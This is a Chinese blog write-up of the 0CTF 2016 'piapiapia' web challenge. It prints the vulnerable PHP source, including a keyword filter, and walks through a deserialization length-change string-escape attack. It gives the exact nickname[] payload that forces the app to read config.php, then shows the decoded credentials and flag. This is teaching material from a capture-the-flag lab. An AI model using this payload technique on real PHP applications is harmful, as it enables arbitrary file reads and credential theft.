php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)


Posted in PHP onFebruary 15, 2020

一个很可爱的登录界面:

php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

进行一下目录扫描,发现源码泄露www.zip,把源码给出:

index.php

<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Login</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">LOGIN</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

在输入账号密码之后进入了profile.php,下面是profile.php的源码:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
 <title>Profile</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

还有注册页面的源码(没有太大用),register.php:

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Register</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">REGISTER</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

然后是update.php:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>';
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>UPDATE</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

核心的处理代码,class.php:

<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

最后是config.php:

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

看来flag就是在config.php中了,要想办法拿到config.php的内容了。

然后就是代码审计了。

seay代码审计系统也可以给点线索的:

php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

这个地方貌似有个文件读取的地方,在profile.php中:

else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

上面还有个反序列化unserialize,感觉有戏,如果$profile[‘photo']是config.php就可以读取到了,可以对photo进行操作的地方在update.php,有phone、email、nickname和photo这几个。

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));

结果如下:

Array
(
 [phone] => 12345678901
 [email] => ss@q.com
 [nickname] => sea_sand
 [photo] => config.php
)

可以看到反序列化之后,最后面upload这一部分就没了,下面就是想办法把config.php塞进去了。

从数组顺序上看是和上面数组的顺序一样的,可以抓个包看下post顺序,那么最有可能的就是从nickname下手了。

在设置了$profile之后,用update_profile()函数进行处理:

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

进行了过滤:

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

有两个正则过滤,带上输入nickname时候有一个正则,总共三个过滤的地方,首先要绕过第一个输入时候的正则:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');
数组即可绕过:
nickname[]=

那么$profile就是这样了:
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

后面的正则要怎么利用呢,可以看到如果我们输入的有where,会替换成hacker,这样的话长度就变了,序列化后的每个变量都是有长度的,那么反序列化会怎么处理呢?我们应该怎么构造呢?

数组绕过了第一个正则过滤之后,如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34个字符,如果利用正则替换34个where,不就可以把这34个给挤出去,后面的upload因为序列化串被我们闭合了也就没用了:

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

在where被正则匹配换成hacker之后,正好满足长度,然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。

下面开始操作:注册之后登陆,进入到update.php页面,输入信息及上传图片,用bp抓包把nickname改成数组即可: php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

然后进入到profile中查看图片信息,把base64码解码:

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==

解码得到:

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{0ctf_2016_unserialize_is_very_good!}';
?>

总结

以上所述是小编给大家介绍的php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia),希望对大家有所帮助!

PHP 相关文章推荐
Windows下PHP5和Apache的安装与配置
Sep 05 PHP
PHP中for循环语句的几种变型
Mar 16 PHP
php面向对象全攻略 (十) final static const关键字的使用
Sep 30 PHP
PHP5权威编程阅读学习笔记 附电子书下载
Jul 05 PHP
PHP函数getenv简介和使用实例
May 12 PHP
php递归调用删除数组空值元素的方法
Apr 28 PHP
文件上传之SWFUpload插件(代码)
Jul 30 PHP
PHP上传文件参考配置大文件上传
Dec 16 PHP
phalcon框架使用指南
Feb 23 PHP
PHP设计模式之模板模式定义与用法详解
Dec 20 PHP
PHP正则表达式处理函数(PCRE 函数)实例小结
May 09 PHP
PHP 判断字符串是中文还是英文, 或者是中英混合
Mar 09 PHP
浅析PHP反序列化中过滤函数使用不当导致的对象注入问题
Feb 15 #PHP
laravel框架使用极光推送消息操作示例
Feb 15 #PHP
laravel框架使用阿里云短信发送消息操作示例
Feb 15 #PHP
laravel框架实现敏感词汇过滤功能示例
Feb 15 #PHP
PHP 枚举类型的管理与设计知识点总结
Feb 13 #PHP
PHP+ajax实现上传、删除、修改单张图片及后台处理逻辑操作详解
Feb 12 #PHP
分享8个Laravel模型时间戳使用技巧小结
Feb 12 #PHP
You might like
php中session与cookie的比较
2015/01/27 PHP
PHP开发的文字水印,缩略图,图片水印实现类与用法示例
2019/04/12 PHP
详细分析PHP 命名空间(namespace)
2020/06/30 PHP
Use Word to Search for Files
2007/06/15 Javascript
JS实现标签页效果(配合css)
2013/04/03 Javascript
基于MVC3方式实现下拉列表联动(JQuery)
2013/09/02 Javascript
jquery选择器之基本过滤选择器详解
2014/01/27 Javascript
用js将内容复制到剪贴板兼容浏览器
2014/03/18 Javascript
JS中三目运算符和if else的区别分析与示例
2014/11/21 Javascript
jQuery自适应轮播图插件Swiper用法示例
2016/08/24 Javascript
打造自己的jQuery插件入门教程
2016/09/23 Javascript
WebSocket实现简单客服聊天系统
2017/05/12 Javascript
解决JS内存泄露之js对象和dom对象互相引用问题
2017/06/25 Javascript
详解webpack babel的配置
2018/01/09 Javascript
详解react关于事件绑定this的四种方式
2018/03/09 Javascript
解决bootstrap模态框数据缓存的问题方法
2018/08/10 Javascript
vue通过style或者class改变样式的实例代码
2018/10/30 Javascript
详解Vue源码之数据的代理访问
2018/12/11 Javascript
jQuery实现左右两个列表框的内容相互移动功能示例
2019/01/27 jQuery
vue elementui el-form rules动态验证的实例代码详解
2019/05/23 Javascript
layui table设置某一行的字体颜色方法
2019/09/05 Javascript
JavaScript indexOf()原理及使用方法详解
2020/07/09 Javascript
精确查找PHP WEBSHELL木马的方法(1)
2011/04/12 Python
Python函数中*args和**kwargs来传递变长参数的用法
2016/01/26 Python
tensorflow实现对图片的读取的示例代码
2018/02/12 Python
对python列表里的字典元素去重方法详解
2019/01/21 Python
Python3内置模块之json编解码方法小结【推荐】
2020/12/09 Python
Python3 pywin32模块安装的详细步骤
2020/05/26 Python
Django中Aggregation聚合的基本使用方法
2020/07/09 Python
pycharm 的Structure界面设置操作
2021/02/05 Python
会计专业个人自我鉴定
2014/03/21 职场文书
敬老模范事迹
2014/05/21 职场文书
工会工作先进事迹
2014/08/18 职场文书
数学教师个人总结
2015/02/06 职场文书
2015年物业管理工作总结
2015/04/23 职场文书
python使用BeautifulSoup 解析HTML
2022/04/24 Python